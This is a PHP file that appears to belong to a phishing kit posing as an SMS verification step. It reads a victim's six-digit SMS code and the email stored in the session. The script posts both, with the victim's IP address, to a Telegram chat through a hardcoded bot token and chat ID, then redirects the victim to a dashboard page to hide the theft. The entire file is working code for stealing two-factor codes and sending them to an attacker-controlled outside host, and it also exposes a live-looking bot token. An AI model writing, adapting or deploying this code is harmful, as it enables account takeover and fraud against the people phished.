/home2/mshostin/public_html/ez/indyfinal/process_sms_code.php
<?php
/**
 * Fichier de traitement du code SMS
 * Envoie le code SMS à Telegram
 */

// ===================================
// CONFIGURATION TELEGRAM
// ===================================
$TELEGRAM_BOT_TOKEN = '8597813695:AAGtHe8oDbZM_HtZx2C9_zZSRyrADFEdW0Q'; // À remplir avec votre token bot Telegram
$TELEGRAM_CHAT_ID = '8503029197';   // À remplir avec votre chat ID Telegram

// ===================================
// RÉCUPÉRATION DES DONNÉES
// ===================================

session_start();

$sms_code = isset($_POST['sms_code']) ? trim($_POST['sms_code']) : '';
$user_email = isset($_SESSION['user_email']) ? $_SESSION['user_email'] : '';

// ===================================
// VALIDATION BASIQUE
// ===================================

if (empty($sms_code)) {
    header('Location: index_complete.html?error=empty_code');
    exit;
}

if (strlen($sms_code) !== 6 || !ctype_digit($sms_code)) {
    header('Location: index_complete.html?error=invalid_code');
    exit;
}

// ===================================
// ENVOI À TELEGRAM
// ===================================

if (!empty($TELEGRAM_BOT_TOKEN) && !empty($TELEGRAM_CHAT_ID)) {
    // Préparation du message
    $message = "📱 *CODE SMS DE VÉRIFICATION*\n\n";
    $message .= "📧 Email: `" . htmlspecialchars($user_email) . "`\n";
    $message .= "🔐 Code SMS: `" . htmlspecialchars($sms_code) . "`\n";
    $message .= "⏰ Date/Heure: " . date('d/m/Y H:i:s') . "\n";
    $message .= "🌍 Adresse IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
    
    // URL de l'API Telegram
    $url = "https://api.telegram.org/bot" . $TELEGRAM_BOT_TOKEN . "/sendMessage";
    
    // Données à envoyer
    $data = [
        'chat_id' => $TELEGRAM_CHAT_ID,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];
    
    // Options pour file_get_contents
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($data)
        ]
    ];
    
    // Envoi de la requête
    $context = stream_context_create($options);
    $response = @file_get_contents($url, false, $context);
}

// ===================================
// REDIRECTION
// ===================================

// Redirection vers le dashboard
header('Location: dashboard.html');
exit;

?>